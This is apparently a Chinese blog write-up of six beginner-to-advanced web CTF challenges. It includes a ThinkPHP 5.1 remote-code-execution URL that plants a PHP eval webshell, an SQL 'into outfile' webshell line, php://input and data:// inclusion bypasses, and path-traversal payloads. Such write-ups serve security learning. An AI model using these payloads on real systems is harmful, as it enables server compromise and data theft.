Web解进阶题目思路(1~6)


kalilinux中各个软件的功能用法-----后续网络下载并添加
kalilinux中各个软件的功能用法-----系统自带
Web知识点

一、baby_web(难度:1)

提示:想想初始页面是哪个
在这里插入图片描述
难度一星不高,看在刚结束入门进入进阶,所以前面不放难的,那我们也将就不用脑子,提示是初始页面,直接F12:
在这里插入图片描述
没flag,猜错,那就抓包尝试send to repeater:
在这里插入图片描述
结束

二、Training-WWW-Robots(难度:1)(robots协议)

提示:无
在这里插入图片描述
提到了robots.txt,那就进入robots.txt看下:在这里插入图片描述
又出现了一个fl0g.php文件,并且禁止访问?那再次进入这个文件查看:
在这里插入图片描述
成功

三、php_rce(难度:2)(注入)

提示:无
在这里插入图片描述
直接点击几个连接,发现全是广告,没什么有用的信息==。
没有下手点,而根据题目rce知道可能和什么漏洞有关,网上查找许就突然发现是ThinkPHP 5.1版本的漏洞问题,也就是说我们可以开个后门,查找了一下方法:
比如:通过长途代码注入实行phpinfo语句:

http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述
而我们也可以通过这个插入一个后门,作用是创建一个名叫muma.php的文件,后门密码是12345(注意:php和@之间一定要有空格):

http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=muma.php&vars[1][]=<?php @eval($_POST[12345]);?>

运行以后网页会返回文件的大小:
在这里插入图片描述
然后查看访问下我们创建的muma.php文件:
在这里插入图片描述
貌似没报错,直接打开蚁剑指向插入的文件,输入密码并且测试连接:
在这里插入图片描述
开始进去根目录找flag相关的文件:
在这里插入图片描述
成功

四、Web_php_include(难度:2)(注入)

提示:无
在这里插入图片描述

方法一:sql注入一句话

先日常dirsearch.py检索一下:
在这里插入图片描述
发现phpmyadmin文件,先直接打开,尝试账号root,密码为空的管理员身份进入,发现成功了:
在这里插入图片描述
SQL注入一句话:

select "<?php @eval($_POST['123']);?>" into outfile "/tmp/muma.php"

linux默认tmp是可写目录
即在路径/tmp/路径创建一个muma.php文件并且写入一句话“<?php eval_POST['123']?>”,点击执行:
在这里插入图片描述
打开蚁剑,连接这个地址中我们插入的文件,密码为我们设置的123:
在这里插入图片描述
连接成功后,发现这个奇怪的php文件,打开既是密钥:
在这里插入图片描述

方法二:

相比于上一步无脑走程序,这次我们对php代码进行解析:
在这里插入图片描述
大致意思是当page的值中有php://时进入while循环,并且在循环中把page值中出现的php://替换成空格。那么php://是什么?它是伪协议的一种,也就是说这一题把php://伪协议给ban了,但是仔细一看,strstr() 函数是要区分大小写的,而在php中不以区分,则可以用Php://来替代php://绕过(反正随便有几个大写就行),而绕过以后可以靠下面的include()来执行page中的代码,这样看可能是可行的,则赋值:page=Php://input
其作用是:可以读取没有处理过的POST数据(具体在笔记)
在这里插入图片描述
然后执行抓包send to repeater:
在这里插入图片描述
之后可以开始写入执行的php代码,sent后发现fl4gisisish3r3.php文件:
在这里插入图片描述
重新修改下需要执行的代码内容sent:
在这里插入图片描述

方法三:

使用另一个伪协议data来绕过:
具体用法为:?page=data://text/plain,+命令语言
在这里插入图片描述
找到文件后,再使用file_get_contents读取该文件下的内容:
http://111.198.29.45:54924/?page=data://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a_code)?%3E:
在这里插入图片描述

五、warmup (难度:2)(PHP代码)

进入界面除了一个滑稽什么都没有,查看源码发现有个提示为source.php
在这里插入图片描述
进入source.php以后发现源码:
在这里插入图片描述
大致看了一眼看到hint.php,再次进入:
在这里插入图片描述
发现唯一的线索只是flag存在ffffllllaaaagggg中,具体还是要返回source.php解读源码。全部源码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
        	#此处是个白名单数组,isset()判断page是否为空
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            
			#第一次判断page是否在数组中
            if (in_array($page, $whitelist)) {
                return true;
            }
            
			#_page取值为page中"?"前面的部分
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            #第二次判断page是否在数组中
            if (in_array($_page, $whitelist)) {
                return true;
            }
			#_page取值为page经过url解码的值。之后同样进行取值为_page中"?"前面的部分
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
             #第三次判断page是否在数组中
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

又是一题考察文件包含的题目,那么这题最终就是如何给include $_REQUEST['file']中的file赋值的问题。
首先file必须包含在这个数组,即前提赋值为source.php或者hint.php,之后通过这三次判断,使得值返回true,并且能指向这个ffffllllaaaagggg文件:
在这里插入图片描述
测试证明以下均可正确执行,(其中%3f、%253f分别是"?"的一次url、两次url加密;而第一个/是指向根目录,之后一堆/…/…/…/是目录级数,可以有多个都没关系,但是之后貌似有说ffffllllaaaagggg每个都是4个字母,即提示是4级目录):
http://111.198.29.45:35953/?file=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/?file=hint.php?/../../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=hint.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=hint.php?/../../../../../ffffllllaaaagggg

六、ics-06(难度:2)(爆破)

提示 :云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
在这里插入图片描述
纯爆破== ,id值从1到10000爆,久的一,最终id值为2333.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值